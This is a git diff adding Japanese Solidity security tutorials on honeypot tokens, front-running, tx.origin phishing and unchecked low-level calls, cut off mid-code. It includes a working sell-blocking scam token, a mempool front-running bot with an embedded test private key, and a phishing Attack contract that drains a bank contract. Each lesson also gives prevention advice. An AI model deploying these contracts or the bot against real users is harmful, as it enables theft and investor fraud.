+![](./img/S10-1.png) + +ハニーポットコントラクトの原理を学ぶことで、より良く識別し、割られることを避け、しぶとい個人投資家になることができます! + +## ハニーポットコントラクト + +ここでは、極めてシンプルなERC20トークンハニーポットコントラクト`Pixiu`を紹介します。このコントラクトでは、コントラクトオーナーのみが`uniswap`でトークンを売却でき、他のアドレスはできません。 + +`Pixiu`は状態変数`pair`を持ち、`uniswap`中の`Pixiu-ETH LP`のペアアドレスを記録します。主に3つの関数があります: + +1. コンストラクタ:トークンの名前とシンボルを初期化し、`uniswap`と`create2`の原理に基づいて`LP`コントラクトアドレスを計算します。詳細については[WTF Solidity 第25講: Create2](https://github.com/AmazingAng/WTF-Solidity/blob/main/25_Create2/readme.md)を参照してください。このアドレスは`_update()`関数で使用されます。 +2. `mint()`:鋳造関数、`owner`アドレスのみが呼び出し可能で、`Pixiu`トークンを鋳造するために使用されます。 +3. `_update()`:`ERC20`トークンが転送される前に呼び出される関数です。この中で、転送先アドレス`to`が`LP`の場合、つまり個人投資家が売却する場合に、取引が`revert`するように制限しています。呼び出し者が`owner`の場合のみ成功できます。これがハニーポットコントラクトの核心です。 + +```solidity +// 極簡ハニーポットERC20トークン、買うことのみ可能、売ることはできない +contract HoneyPot is ERC20, Ownable { + address public pair; + + // コンストラクタ:トークンの名前とシンボルを初期化 + constructor() ERC20("HoneyPot", "Pi Xiu") { + address factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // goerli uniswap v2 factory + address tokenA = address(this); // ハニーポットトークンアドレス + address tokenB = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6; // goerli WETH + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //tokenAとtokenBを大小順にソート + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // ペアアドレスを計算 + pair = address(uint160(uint(keccak256(abi.encodePacked( + hex'ff', + factory, + salt, + hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' + ))))); + } + + /** + * 鋳造関数、コントラクトオーナーのみ呼び出し可能 + */ + function mint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + + /** + * @dev See {ERC20-_update}. + * ハニーポット関数:コントラクトオーナーのみ売却可能 + */ + function _update( + address from, + address to, + uint256 amount + ) internal virtual override { + if(to == pair){ + require(from == owner(), "Can not Transfer"); + } + super._update(from, to, amount); + } +} +``` + +## `Remix`での再現 + +`Goerli`テストネット上で`Pixiu`コントラクトをデプロイし、`uniswap`取引所でデモンストレーションを行います。 + +1. `Pixiu`コントラクトをデプロイします。 +![](./img/S10-2.png) + +2. `mint()`関数を呼び出し、自分に`100000`枚のハニーポットコインを鋳造します。 +![](./img/S10-3.png) + +3. [uniswap](https://app.uniswap.org/#/add/v2/ETH)取引所に入り、ハニーポットコインの流動性を作成し(v2)、`10000`ハニーポットコインと`0.1`ETHを提供します。 +![](./img/S10-4.png) + +4. `100`ハニーポットコインを売却すると、操作が成功します。 +![](./img/S10-5.png) + +5. 別のアカウントに切り替え、`0.01`ETHを使ってハニーポットコインを購入すると、操作が成功します。 +![](./img/S10-6.png) + +6. ハニーポットコインを売却しようとすると、取引がポップアップしません。 +![](./img/S10-7.png) + +## 潜在的な偽装 + +関連するハニーポット検査を回避するため、一部のハニーポットコントラクトは以下のような一連の偽装を行います: + +1. 例えば、非特権ユーザーの転送に対して、リバートを行わずに状態を変更せずに保持し、表面上は取引が成功したように見せかけますが、実際にはユーザーの真の取引意図を実現していません。 + +2. 偽のイベントを発行し、存在しないイベントをemitしてイベントを監視しているウォレットやブラウザを誤導し、間違った表示を行わせ、ユーザーに間違った判断をさせます。 + +## 予防方法 + +ハニーポットコインは個人投資家がオンチェーンで全賭けする際に最も遭遇しやすい詐欺で、形式も多様で、予防は非常に困難です。以下の点をお勧めし、ハニーポットに割られるリスクを下げることができます: + +1. ブロックチェーンエクスプローラー(例:[etherscan](https://etherscan.io/))でコントラクトがオープンソースかどうかを確認し、オープンソースの場合はコードを分析してハニーポット脆弱性があるかどうかを確認します。 + +2. プログラミング能力がない場合は、ハニーポット識別ツールを使用できます。例:[Token Sniffer](https://tokensniffer.com/)や[Ave Check](https://ave.ai/check)で、スコアが低い場合は高確率でハニーポットです。 + +3. プロジェクトに監査レポートがあるかを確認します。 + +4. プロジェクトの公式サイトやソーシャルメディアを慎重に検査します。 + +5. 理解しているプロジェクトのみに投資し、十分な調査(DYOR)を行います。 + +6. tenderly、phalconフォークを使用してハニーポットの売却をシミュレートし、失敗した場合はハニーポットトークンであることを確定します。 + +## まとめ + +このレッスンでは、ハニーポットコントラクトとハニーポットを予防する方法を紹介しました。ハニーポットはすべての個人投資家が通る道で、皆がそれを憎んでいます。また、最近ではハニーポット`NFT`も登場し、悪意のあるプロジェクト方が`ERC721`の転送や承認関数を修正することで、一般投資家がそれらを売却できないようにしています。ハニーポットコントラクトの原理と予防方法を理解することで、ハニーポットを購入する確率を大幅に減らし、資金をより安全にすることができます。皆さんは継続的に学習する必要があります。 \ No newline at end of file diff --git a/Languages/ja/S11_Frontrun_ja/FreeMint.sol b/Languages/ja/S11_Frontrun_ja/FreeMint.sol new file mode 100644 index 000000000..21377e22c --- /dev/null +++ b/Languages/ja/S11_Frontrun_ja/FreeMint.sol @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// Free mint取引をフロントランニングしてみる +contract FreeMint is ERC721 { + uint256 public totalSupply; + + // コンストラクタ、NFTコレクションの名前、シンボルを初期化 + constructor() ERC721("Free Mint NFT", "FreeMint"){} + + // ミント関数 + function mint() external { + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} \ No newline at end of file diff --git a/Languages/ja/S11_Frontrun_ja/S11-1.png b/Languages/ja/S11_Frontrun_ja/S11-1.png new file mode 100644 index 000000000..2fac0441c Binary files /dev/null and b/Languages/ja/S11_Frontrun_ja/S11-1.png differ diff --git a/Languages/ja/S11_Frontrun_ja/S11-2.png b/Languages/ja/S11_Frontrun_ja/S11-2.png new file mode 100644 index 000000000..f0c4c2b93 Binary files /dev/null and b/Languages/ja/S11_Frontrun_ja/S11-2.png differ diff --git a/Languages/ja/S11_Frontrun_ja/S11-3.png b/Languages/ja/S11_Frontrun_ja/S11-3.png new file mode 100644 index 000000000..a4e46633e Binary files /dev/null and b/Languages/ja/S11_Frontrun_ja/S11-3.png differ diff --git a/Languages/ja/S11_Frontrun_ja/S11-4.png b/Languages/ja/S11_Frontrun_ja/S11-4.png new file mode 100644 index 000000000..8314df0f5 Binary files /dev/null and b/Languages/ja/S11_Frontrun_ja/S11-4.png differ diff --git a/Languages/ja/S11_Frontrun_ja/frontrun.js b/Languages/ja/S11_Frontrun_ja/frontrun.js new file mode 100644 index 000000000..d9c1301bb --- /dev/null +++ b/Languages/ja/S11_Frontrun_ja/frontrun.js @@ -0,0 +1,73 @@ +// provider.on("pending", listener) +import { ethers, utils } from "ethers"; + +// 1. providerを作成 +var url = "http://127.0.0.1:8545"; +const provider = new ethers.providers.WebSocketProvider(url); +let network = provider.getNetwork() +network.then(res => console.log(`[${(new Date).toLocaleTimeString()}] chain ID ${res.chainId}に接続`)); + +// 2. interfaceオブジェクトを作成、取引詳細をデコードするために使用 +const iface = new utils.Interface([ + "function mint() external", +]) + +// 3. ウォレットを作成、フロントランニング取引を送信するために使用 +const privateKey = '0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a' +const wallet = new ethers.Wallet(privateKey, provider) + +const main = async () => { + // 4. pendingのmint取引を監視し、取引詳細を取得してデコード + console.log("\n4. pending取引を監視、txHashを取得し、取引詳細を出力。") + provider.on("pending", async (txHash) => { + if (txHash) { + // tx詳細を取得 + let tx = await provider.getTransaction(txHash); + if (tx) { + // pendingTx.dataをフィルタ + if (tx.data.indexOf(iface.getSighash("mint")) !== -1 && tx.from != wallet.address ) { + // txHashを印刷 + console.log(`\n[${(new Date).toLocaleTimeString()}] Pending取引を監視: ${txHash} \r`); + + // デコードされた取引詳細を印刷 + let parsedTx = iface.parseTransaction(tx) + console.log("pending取引詳細デコード:") + console.log(parsedTx); + // Input dataデコード + console.log("raw transaction") + console.log(tx); + + // フロントランニングtxを構築 + const txFrontrun = { + to: tx.to, + value: tx.value, + maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 1.2, + maxFeePerGas: tx.maxFeePerGas * 1.2, + gasLimit: tx.gasLimit * 2, + data: tx.data + } + // フロントランニング取引を送信 + var txResponse = await wallet.sendTransaction(txFrontrun) + console.log(`フロントランニング取引中`) + await txResponse.wait() + console.log(`フロントランニング取引成功`) + } + } + } + }); + + provider._websocket.on("error", async () => { + console.log(`Unable to connect to ${ep.subdomain} retrying in 3s...`); + setTimeout(init, 3000); + }); + + provider._websocket.on("close", async (code) => { + console.log( + `Connection lost with code ${code}! Attempting reconnect in 3s...` + ); + provider._websocket.terminate(); + setTimeout(init, 3000); + }); +}; + +main() \ No newline at end of file diff --git a/Languages/ja/S11_Frontrun_ja/img/S11-1.png b/Languages/ja/S11_Frontrun_ja/img/S11-1.png new file mode 100644 index 000000000..2fac0441c Binary files /dev/null and b/Languages/ja/S11_Frontrun_ja/img/S11-1.png differ diff --git a/Languages/ja/S11_Frontrun_ja/img/S11-2.png b/Languages/ja/S11_Frontrun_ja/img/S11-2.png new file mode 100644 index 000000000..f0c4c2b93 Binary files /dev/null and b/Languages/ja/S11_Frontrun_ja/img/S11-2.png differ diff --git a/Languages/ja/S11_Frontrun_ja/img/S11-3.png b/Languages/ja/S11_Frontrun_ja/img/S11-3.png new file mode 100644 index 000000000..a4e46633e Binary files /dev/null and b/Languages/ja/S11_Frontrun_ja/img/S11-3.png differ diff --git a/Languages/ja/S11_Frontrun_ja/img/S11-4.png b/Languages/ja/S11_Frontrun_ja/img/S11-4.png new file mode 100644 index 000000000..8314df0f5 Binary files /dev/null and b/Languages/ja/S11_Frontrun_ja/img/S11-4.png differ diff --git a/Languages/ja/S11_Frontrun_ja/readme.md b/Languages/ja/S11_Frontrun_ja/readme.md new file mode 100644 index 000000000..35b3c6d68 --- /dev/null +++ b/Languages/ja/S11_Frontrun_ja/readme.md @@ -0,0 +1,172 @@ +--- +title: S11. フロントランニング +tags: + - solidity + - security + - erc721 +--- + +# WTF Solidity 合約セキュリティ: S11. フロントランニング + +最近、Solidityを再学習し、詳細を固めるために「WTF Solidity 合約セキュリティ」を書いています。初心者向けのチュートリアル(プログラミング上級者は他のチュートリアルを参照してください)で、毎週1-3レッスンを更新します。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubで公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +このレッスンでは、スマートコントラクトのフロントランニング(Front-running、抢跑)について紹介します。統計によると、イーサリアム上の裁定取引者は、サンドイッチ攻撃によって[総計12億ドル](https://dune.com/chorus_one/ethereum-mev-data)を稼いでいます。 + +## Front-running + +### 従来のフロントランニング +フロントランニングは最初に従来の金融市場で生まれ、純粋に利益のための競争でした。金融市場では、情報の非対称性が金融仲介機関を生み出し、これらの機関は特定の業界情報を最初に知り、最初に反応することで利益を実現できます。これらの攻撃は主に株式市場取引と初期のドメイン名登録で発生しました。 + +2021年9月、NFTマーケットプレイスOpenSeaのプロダクト責任者Nate Chastainが、OpenSeaの首页で展示されるNFTを先行購入して利益を得ていたことが発見されました。 +彼は内部情報を利用して不公平な情報優位性を獲得し、OpenSeaが首页でプッシュするNFTを事前に知り、首页での展示前に先行購入し、NFTが首页に掲載された後に売却していました。しかし、ある人がNFT取引のタイムスタンプとOpenSea上の問題のあるNFTの首页プロモーションを照合することで、この違法行為を発見し、Nateは法廷に送られました。 + +従来のフロントランニングの別の例は、トークンが[Binance](https://www.wsj.com/articles/crypto-might-have-an-insider-trading-problem-11653084398?mod=hp_lista_pos4)/[Coinbase](https://www.protocol.com/fintech/coinbase-crypto-insider-trading)などの有名な取引所に上場される前に、内部情報を得た者が事前に購入することです。上場アナウンスが発表された後、トークン価格は大幅に上昇し、この時フロントランナーは売却して利益を得ます。 + +### オンチェーンフロントランニング + +オンチェーンフロントランニングとは、検索者やマイナーが`gas`を上げたりその他の方法で、自分の取引を他の取引の前に挿入して価値を奪取することを指します。ブロックチェーンでは、マイナーは自分が生成するブロック内の取引を包装、除外、または再順序付けすることで一定の利益を得ることができ、`MEV`はこのような利益を測定する指標です。 + +ユーザーの取引がマイナーによってイーサリアムブロックチェーンにパッケージされる前に、ほとんどの取引はMempool(取引メモリプール)に集まります。マイナーはここで手数料の高い取引を優先的にパッケージして、利益を最大化します。通常、gas priceが高い取引ほど、パッケージされやすくなります。同時に、一部の`MEV`ボットも`mempool`内で利益を得られる取引を検索します。例えば、分散取引所でスリッページ設定が過度に高い`swap`取引は、サンドイッチ攻撃を受ける可能性があります:gasを調整することで、裁定取引者はこの取引の前に買い注文を挿入し、その後に売り注文を送信して利益を得ます。これは市場価格の吊り上げと同等です。 + +![](./img/S11-1.png) + +## フロントランニングの実践 + +フロントランニングを学べば、あなたは入門レベルの暗号通貨科学者と言えるでしょう。次に、実践してみましょう。NFTミントトランザクションをフロントランニングします。使用するツール: +- `Foundry`の`anvil`ツールでローカルテストチェーンを構築します。事前に[foundry](https://book.getfoundry.sh/getting-started/installation)をインストールしてください。 +- `remix`でNFTコントラクトのデプロイとミントを行います。 +- `etherjs`スクリプトで`mempool`を監視してフロントランニングを実行します。 + +**1. Foundryローカルテストチェーンの起動:** `foundry`をインストールした後、コマンドラインで`anvil --chain-id 1234 -b 10`を入力してローカルテストチェーンを構築します。chain-idは1234、10秒ごとに1つのブロックを生成します。構築に成功すると、いくつかのテストアカウントのアドレスと秘密鍵が表示され、各アカウントには10000 ETHがあります。これらをテストに使用できます。 + +![](./img/S11-2.png) + +**2. Remixをテストチェーンに接続:** Remixのデプロイページを開き、左上角の`Environment`ドロップダウンメニューを開いて、`Foundry Provider`を選択すると、Remixがテストチェーンに接続されます。 + +![](./img/S11-3.png) + +**3. NFTコントラクトのデプロイ:** Remix上で簡単なfreemint(無料ミント)NFTコントラクトをデプロイします。NFTを無料でミントするための`mint()`関数があります。 + +```solidity +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// Free mint取引をフロントランニングしてみる +contract FreeMint is ERC721 { + uint256 public totalSupply; + + // コンストラクタ、NFTコレクションの名前、シンボルを初期化 + constructor() ERC721("Free Mint NFT", "FreeMint"){} + + // ミント関数 + function mint() external { + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} +``` + +**4. ethers.jsフロントランニングスクリプトのデプロイ:** 簡単に言うと、`frontrun.js`スクリプトはテストチェーン`mempool`内の未決取引を監視し、`mint()`を呼び出した取引を抽出し、それをコピーして`gas`を上げてフロントランニングします。`ether.js`に慣れていない場合は、[WTF Ethers極簡チュートリアル](https://github.com/WTFAcademy/WTF-Ethers)をお読みください。 + +```js +// provider.on("pending", listener) +import { ethers, utils } from "ethers"; + +// 1. providerを作成 +var url = "http://127.0.0.1:8545"; +const provider = new ethers.providers.WebSocketProvider(url); +let network = provider.getNetwork() +network.then(res => console.log(`[${(new Date).toLocaleTimeString()}] chain ID ${res.chainId}に接続`)); + +// 2. interfaceオブジェクトを作成、取引詳細をデコードするために使用 +const iface = new utils.Interface([ + "function mint() external", +]) + +// 3. ウォレットを作成、フロントランニング取引を送信するために使用 +const privateKey = '0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a' +const wallet = new ethers.Wallet(privateKey, provider) + +const main = async () => { + // 4. pendingのmint取引を監視し、取引詳細を取得してデコード + console.log("\n4. pending取引を監視、txHashを取得し、取引詳細を出力。") + provider.on("pending", async (txHash) => { + if (txHash) { + // tx詳細を取得 + let tx = await provider.getTransaction(txHash); + if (tx) { + // pendingTx.dataをフィルタ + if (tx.data.indexOf(iface.getSighash("mint")) !== -1 && tx.from != wallet.address ) { + // txHashを印刷 + console.log(`\n[${(new Date).toLocaleTimeString()}] Pending取引を監視: ${txHash} \r`); + + // デコードされた取引詳細を印刷 + let parsedTx = iface.parseTransaction(tx) + console.log("pending取引詳細デコード:") + console.log(parsedTx); + // Input dataデコード + console.log("raw transaction") + console.log(tx); + + // フロントランニングtxを構築 + const txFrontrun = { + to: tx.to, + value: tx.value, + maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 1.2, + maxFeePerGas: tx.maxFeePerGas * 1.2, + gasLimit: tx.gasLimit * 2, + data: tx.data + } + // フロントランニング取引を送信 + var txResponse = await wallet.sendTransaction(txFrontrun) + console.log(`フロントランニング取引中`) + await txResponse.wait() + console.log(`フロントランニング取引成功`) + } + } + } + }); + + provider._websocket.on("error", async () => { + console.log(`Unable to connect to ${ep.subdomain} retrying in 3s...`); + setTimeout(init, 3000); + }); + + provider._websocket.on("close", async (code) => { + console.log( + `Connection lost with code ${code}! Attempting reconnect in 3s...` + ); + provider._websocket.terminate(); + setTimeout(init, 3000); + }); +}; + +main() +``` + +**5. `mint()`関数の呼び出し:** Remixのデプロイページで、Freemintコントラクトの`mint()`関数を呼び出してNFTミントを実行します。 + +**6. スクリプトが取引を監視してフロントランニングを実行:** ターミナルで`frontrun.js`スクリプトが取引を正常に監視し、フロントランニングを実行したことが確認できます。NFTコントラクトの`ownerOf()`関数を呼び出して`tokenId`が0の所有者がフロントランニングスクリプト内のウォレットアドレスであることを確認すれば、フロントランニング成功です! +![](./img/S11-4.png) + +## 予防方法 + +フロントランニングは、イーサリアムなどのパブリックチェーン上で普遍的に存在する問題です。これを完全に排除することはできませんが、取引順序や時間の重要性を減らすことで、フロントランニングによる利益を減らすことができます: + +- コミット・リビール・スキーム(commit-reveal scheme)を使用する。 +- ダークプールを使用する。ユーザーが発行した取引は公開の`mempool`に入らず、直接マイナーの手に渡る。例:flashbotsやTaiChi。 +- 呼び出しパラメータに保護パラメータを追加する。例:[スリッページ保護](https://uniswapv3book.com/milestone_3/slippage-protection.html)。これによりフロントランナーの潜在的利益を減らす。 + +## まとめ + +このレッスンでは、イーサリアムのフロントランニング(抢跑)について紹介しました。この従来の金融業界由来の攻撃手法は、すべての取引情報が公開されているため、ブロックチェーンではより実行しやすくなっています。NFTミント取引をフロントランニングする実践を行いました。同様の取引が必要な場合は、隠しメモリプールをサポートするか、バッチオークションなどの措置を実施して制限することが最善です。これはイーサリアムなどのパブリックチェーン上で普遍的に存在する問題であり、完全に排除することはできませんが、取引順序や時間の重要性を減らすことで、フロントランニングによる利益を減らすことができます。 \ No newline at end of file diff --git a/Languages/ja/S12_TxOrigin_ja/readme.md b/Languages/ja/S12_TxOrigin_ja/readme.md new file mode 100644 index 000000000..ddb26798c --- /dev/null +++ b/Languages/ja/S12_TxOrigin_ja/readme.md @@ -0,0 +1,139 @@ +--- +title: S12. tx.originフィッシング攻撃 +tags: + - solidity + - security + - tx.origin +--- + +# WTF Solidity 合約セキュリティ: S12. tx.originフィッシング攻撃 + +最近、Solidityを再学習し、詳細を固めるために「WTF Solidity 合約セキュリティ」を書いています。初心者向けのチュートリアル(プログラミング上級者は他のチュートリアルを参照してください)で、毎週1-3レッスンを更新します。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubで公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +このレッスンでは、スマートコントラクトの`tx.origin`フィッシング攻撃と予防方法を紹介します。 + +## `tx.origin`フィッシング攻撃 + +筆者が中学生の頃、ゲームを遊ぶのが特に好きでしたが、プロジェクト方が未成年者の依存を防ぐため、身分証番号で18歳以上であることを示すプレイヤーのみが依存防止制限を受けないルールを設けていました。どうすればよいでしょうか?後に筆者は親の身分証番号を使って年齢認証を行い、依存防止システムを迂回することに成功しました。この事例は`tx.origin`フィッシング攻撃と同工異曲の妙があります。 + +`solidity`では、`tx.origin`を使用してトランザクションを開始した元のアドレスを取得できます。これは`msg.sender`と非常に似ており、以下の例でそれらの違いを区別します。 + +ユーザーAがBコントラクトを呼び出し、さらにBコントラクトを通じてCコントラクトを呼び出した場合、Cコントラクトから見ると、`msg.sender`はBコントラクトで、`tx.origin`はユーザーAです。`call`の仕組みを理解していない場合は、[WTF Solidity極簡チュートリアル第22講:Call](https://github.com/AmazingAng/WTF-Solidity/blob/main/22_Call/readme.md)をお読みください。 + +![](./img/S12_1.jpg) + +したがって、銀行コントラクトが`tx.origin`を使って身元認証を行っている場合、ハッカーは攻撃コントラクトをデプロイしてから銀行コントラクトのオーナーを誘導して呼び出すことができます。`msg.sender`は攻撃コントラクトアドレスですが、`tx.origin`は銀行コントラクトオーナーアドレスなので、転送が成功する可能性があります。 + +## 脆弱性コントラクトの例 + +### 銀行コントラクト + +まず銀行コントラクトを見てみましょう。これは非常にシンプルで、コントラクトの所有者を記録する`owner`状態変数、コンストラクタと1つの`public`関数を含みます: + +- コンストラクタ: コントラクト作成時に`owner`変数に値を代入します。 +- `transfer()`: この関数は`_to`と`_amount`の2つのパラメータを受け取り、まず`tx.origin == owner`をチェックし、確認後に`_to`に`_amount`数量のETHを転送します。**注意:この関数はフィッシング攻撃のリスクがあります!** + +```solidity +contract Bank { + address public owner;//コントラクトの所有者を記録 + + //コントラクト作成時にowner変数に値を代入 + constructor() payable { + owner = msg.sender; + } + + function transfer(address payable _to, uint _amount) public { + //メッセージソースをチェック !!! ownerが誘導されてこの関数を呼び出す可能性があり、フィッシングリスクがある! + require(tx.origin == owner, "Not owner"); + //ETHを転送 + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); + } +} +``` + +### 攻撃コントラクト + +次に攻撃コントラクトです。その攻撃ロジックは非常にシンプルで、`attack()`関数を構築してフィッシングを行い、銀行コントラクトオーナーの残高をハッカーに転送します。`hacker`と`bank`の2つの状態変数があり、それぞれハッカーアドレスと攻撃対象の銀行コントラクトアドレスを記録します。 + +2つの関数を含みます: + +- コンストラクタ: `bank`コントラクトアドレスを初期化します。 +- `attack()`: 攻撃関数で、この関数は銀行コントラクトの`owner`アドレスによって呼び出される必要があります。`owner`が攻撃コントラクトを呼び出し、攻撃コントラクトが銀行コントラクトの`transfer()`関数を呼び出し、`tx.origin == owner`を確認後、銀行コントラクト内の残高をすべてハッカーアドレスに転送します。 + +```solidity +contract Attack { + // 受益者アドレス + address payable public hacker; + // Bankコントラクトアドレス + Bank bank; + + constructor(Bank _bank) { + //address型の_bankを強制的にBank型に変換 + bank = Bank(_bank); + //受益者アドレスをデプロイヤーアドレスに代入 + hacker = payable(msg.sender); + } + + function attack() public { + //bankコントラクトのownerを誘導して呼び出し、bankコントラクト内の残高をすべてハッカーアドレスに転送 + bank.transfer(hacker, address(bank).balance); + } +} +``` + +## `Remix`での再現 + +**1.** まず`value`を10ETHに設定し、`Bank`コントラクトをデプロイします。オーナーアドレス`owner`がデプロイコントラクトアドレスに初期化されます。 + +![](./img/S12-2.jpg) + +**2.** 別のウォレットにハッカーウォレットとして切り替え、攻撃対象の銀行コントラクトアドレスを入力し、`Attack`コントラクトをデプロイします。ハッカーアドレス`hacker`がデプロイコントラクトアドレスに初期化されます。 + +![](./img/S12-3.jpg) + +**3.** `owner`アドレスに戻ります。この時、私たちは誘導されて`Attack`コントラクトの`attack()`関数を呼び出しました。`Bank`コントラクトの残高が空になり、同時にハッカーアドレスに10ETHが追加されたことが確認できます。 + +![](./img/S12-4.jpg) + +## 予防方法 + +現在、`tx.origin`フィッシング攻撃を予防する主な方法は2つあります。 + +### 1. `msg.sender`を`tx.origin`の代わりに使用 + +`msg.sender`は現在のコントラクトを直接呼び出した呼び出し送信者アドレスを取得できます。`msg.sender`の検証により、呼び出しプロセス全体で外部攻撃コントラクトが現在のコントラクトを呼び出すことを回避できます。 + +```solidity +function transfer(address payable _to, uint256 _amount) public { + require(msg.sender == owner, "Not owner"); + + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); +} +``` + +### 2. `tx.origin == msg.sender`の検証 + +`tx.origin`を使用する必要がある場合は、`tx.origin`が`msg.sender`と等しいかどうかを検証することもできます。これにより、呼び出しプロセス全体で外部攻撃コントラクトが現在のコントラクトを呼び出すことを回避できます。ただし、副作用として他のコントラクトがこの関数を呼び出せなくなります。 + +```solidity + function transfer(address payable _to, uint _amount) public { + require(tx.origin == owner, "Not owner"); + require(tx.origin == msg.sender, "can't call by external contract"); + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); + } +``` + +## まとめ + +このレッスンでは、スマートコントラクトの`tx.origin`フィッシング攻撃を紹介しました。現在、2つの方法で予防できます:1つは`msg.sender`を`tx.origin`の代わりに使用すること、もう1つは同時に`tx.origin == msg.sender`を検証することです。前者の方法を使用することを推奨します。後者は他のコントラクトからのすべての呼び出しを拒否するためです。 \ No newline at end of file diff --git a/Languages/ja/S13_UncheckedCall_ja/readme.md b/Languages/ja/S13_UncheckedCall_ja/readme.md new file mode 100644 index 000000000..c2f342d3d --- /dev/null +++ b/Languages/ja/S13_UncheckedCall_ja/readme.md @@ -0,0 +1,128 @@ +--- +title: S13. 未チェックの低レベル呼び出し +tags: + - solidity + - security + - transfer/send/call +--- + +# WTF Solidity 合約セキュリティ: S13. 未チェックの低レベル呼び出し + +最近、Solidityを再学習し、詳細を固めるために「WTF Solidity 合約セキュリティ」を書いています。初心者向けのチュートリアル(プログラミング上級者は他のチュートリアルを参照してください)で、毎週1-3レッスンを更新します。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubで公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +このレッスンでは、スマートコントラクトの未チェック低レベル呼び出し(low-level call)の脆弱性について紹介します。失敗した低レベル呼び出しは取引をロールバックしません。コントラクト内でその戻り値をチェックすることを忘れると、しばしば深刻な問題が発生します。 + +## 低レベル呼び出し + +イーサリアムの低レベル呼び出しには`call()`、`delegatecall()`、`staticcall()`、`send()`があります。これらの関数はSolidityの他の関数と異なり、例外が発生した時に上位層に伝播せず、取引を完全にロールバックすることもありません。ただブール値`false`を返して、呼び出し失敗の情報を伝達するだけです。したがって、低レベル関数呼び出しの戻り値をチェックしない場合、低レベル呼び出しが失敗するかどうかに関係なく、上位層関数のコードは継続して実行されます。低レベル呼び出しのより詳しい内容については、[WTF Solidity極簡チュートリアル第20-23講](https://github.com/AmazingAng/WTF-Solidity)をお読みください。 + +最もエラーが起きやすいのは`send()`です:一部のコントラクトは`send()`を使って`ETH`を送信しますが、`send()`はgasを2300以下に制限し、それ以外は失敗します。ターゲットアドレスのコールバック関数が複雑な場合、消費されるgasは2300を超え、`send()`の失敗を引き起こします。この時、上位層関数で戻り値をチェックしない場合、取引は継続実行され、予期しない問題が発生します。2016年、`King of Ether`というブロックチェーンゲームで、この脆弱性により返金が正常に送信できない問題が発生しました([事後分析レポート](https://www.kingoftheether.com/postmortem.html))。 + +![](./img/S13-1.png) + +## 脆弱性の例 + +### 銀行コントラクト + +このコントラクトは`S01 リエントランシー攻撃`チュートリアルの銀行コントラクトを基に修正したものです。`balanceOf`状態変数でユーザーのイーサリアム残高を記録し、3つの関数を含みます: +- `deposit()`:預金関数、`ETH`を銀行コントラクトに預け、ユーザーの残高を更新します。 +- `withdraw()`:出金関数、呼び出し者の残高を転送します。具体的な手順は上記のストーリーと同じです:残高を照会、残高を更新、転送。**注意:この関数は`send()`の戻り値をチェックしていません。出金が失敗しても残高はゼロになります!** +- `getBalance()`:銀行コントラクト内の`ETH`残高を取得します。 + +```solidity +contract UncheckedBank { + mapping (address => uint256) public balanceOf; // 残高mapping + + // etherを預け、残高を更新 + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // msg.senderの全etherを出金 + function withdraw() external { + // 残高を取得 + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + balanceOf[msg.sender] = 0; + // 未チェック低レベル呼び出し + bool success = payable(msg.sender).send(balance); + } + + // 銀行コントラクトの残高を取得 + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## 攻撃コントラクト + +攻撃コントラクトを構築しました。これは不運な預金者を描写しており、出金は失敗するが銀行残高はゼロになります:コントラクトのコールバック関数`receive()`内の`revert()`が取引をロールバックするため、`ETH`を受け取ることができません。しかし、出金関数`withdraw()`は正常に呼び出すことができ、残高をクリアします。 + +```solidity +contract Attack { + UncheckedBank public bank; // Bankコントラクトアドレス + + // Bankコントラクトアドレスを初期化 + 